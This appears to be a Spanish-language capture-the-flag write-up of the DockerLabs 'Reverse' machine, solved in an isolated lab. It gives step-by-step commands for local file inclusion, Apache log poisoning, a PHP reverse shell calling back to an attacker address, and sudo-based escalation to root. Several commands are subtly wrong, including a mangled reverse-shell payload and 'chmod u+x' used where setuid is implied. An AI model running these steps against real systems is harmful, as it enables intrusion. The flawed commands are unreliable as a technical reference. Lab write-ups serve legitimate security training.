Ir al contenido

Reverse

Este documento detalla la resolución completa de la máquina Reverse, desarrollada por maciiii___ para DockerLabs y clasificada con un nivel de dificultad Medio.

El objetivo es guiar paso a paso el proceso de compromiso del sistema:

  1. Reconocimiento: Identificación de puertos y servicios expuestos.
  2. Explotación: Obtención de ejecución remota de comandos (RCE) mediante vulnerabilidades en la aplicación web.
  3. Escalada de privilegios: Encadenamiento de varias escaladas abusando de configuraciones indebidas en sudo, hasta obtener acceso como root.

Todo el procedimiento se realizó en el entorno aislado de DockerLabs.


AtributoValor
NombreReverse
Autormaciiii___
DificultadMedio
Fecha23/06/2024
PlataformaDockerLabs

Descomprimimos y desplegamos la máquina:

Ventana de terminal
unzip Reverse.zip
sudo bash auto_deploy.sh Reverse.tar

IP asignada


Ventana de terminal
mkdir -p Reverse/{content,exploits,nmap,gobuster,scripts}
cd Reverse

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos abiertos identificados:

  • 80/tcp — HTTP

Puertos abiertos


Enumeramos contenido con Feroxbuster:

Ventana de terminal
feroxbuster -u http://172.17.0.2 -d 0 \
-w /usr/share/seclists/Discovery/Web-Content/DirectoryList2.3-medium.txt \
-x php,txt,html,js,bak,old \
-t 40 \
-C 404,403

Feroxbuster result

Rutas relevantes:

  • / — Página principal sin contenido interesante.
  • /js/script.js — Archivo JavaScript con comportamiento especial.

content of script

Este script revela algo crucial: al realizar 20 clics en la página principal, aparece un alert conteniendo el valor secret_dir, que corresponde a un directorio oculto dentro del sitio.


Dentro del directorio secret_dir, encontramos permisos de lectura y un binario llamado secret.

content of secret_dir

Al ejecutarlo, solicita una contraseña desconocida. Para obtenerla, realizamos ingeniería inversa con Ghidra.

En la función containsRequiredChars identificamos las condiciones que deben cumplirse para que la contraseña sea válida.

containsRequiredChars content

Uniendo las comprobaciones obtenemos la contraseña correcta.

Al ejecutar nuevamente el binario e introducir la contraseña:

bin ejecute

El programa muestra un mensaje codificado en Base64, que decodificamos así:

Ventana de terminal
echo 'CADENA' | base64 -d

El resultado parece ser un dominio interno, por lo que lo añadimos a /etc/hosts para acceder a la web.

content of index domain

Explorando la aplicación encontramos esta URL interesante:

http://<DOMAIN>/experiments.php?module=./modules/default.php

El parámetro module permite leer archivos arbitrarios, exponiendo una LFI (Local File Inclusion).

Leemos /etc/passwd:

content of passwd

Usuarios identificados:

  • maci
  • nova

A continuación, intentamos Log Poisoning sobre los archivos de Apache, específicamente:

/var/log/apache2/access.log

Inyectamos PHP en el User-Agent:

Ventana de terminal
curl -s X GET http://<DOMAIN>/ -A '<?php system("id") ?>'

Al leer el log, obtenemos RCE:

id rce

Con el acceso remoto funcional, lanzamos una reverse shell.

Listener:

Ventana de terminal
nc -nlvp 443

Payload en el log:

Ventana de terminal
curl http://172.17.0.2 -A "<?php -r '$sock=fsockopen(\"172.17.0.1\",443);exec(\"sh <&3 >&3 2>&3\");' ?>"

Y obtenemos shell como www-data:

reverseshell


Revisamos permisos:

sudo -l www-data

Puede ejecutarse /opt/password_nova como usuario nova.

Ventana de terminal
sudo -u nova ./opt/password_nova

password_nova ejecute

El binario indica que la contraseña se encuentra en rockyou.txt, por lo que usamos el script UserRush.

Ventana de terminal
cp /usr/share/wordlists/rockyou.txt /tmp/rockyou.txt
cp /UserrRush.sh /tmp/UserrRush.sh

Tras ejecutarlo, obtenemos la contraseña y accedemos vía:

Ventana de terminal
su nova

su nova


Permisos de sudo:

sudo -l nova

Podemos ejecutar como maci el loader dinámico:

Ventana de terminal
sudo -u maci /lib64/ld-linux-x86-64.so.2 /bin/bash

maci


Permisos de sudo:

sudo -l maci

Puede ejecutarse clush como root. Lo usamos para escalar privilegios a bash:

Ventana de terminal
sudo /usr/bin/clush -w node[40-42] -b

En la consola de clush:

!chmod u+x /bin/bash

Ahora:

Ventana de terminal
bash -p

Y obtenemos acceso root:

root


  • Falta de sanitización en parámetros que permiten LFI.
  • Configuración insegura de Apache que posibilita Log Poisoning.
  • Permisos excesivos en sudo para múltiples usuarios.
  • Binarios internos mal protegidos que permiten ingeniería reversa.
  • Dependencia en contraseñas débiles incluidas en diccionarios comunes.

  • Deshabilitar inclusión de archivos mediante parámetros no validados.
  • Restringir accesos a logs y evitar que PHP se ejecute en ellos.
  • Revisar estrictamente las políticas de sudoers.
  • Proteger binarios sensibles y evitar pistas internas en el código.
  • Implementar políticas robustas de contraseñas.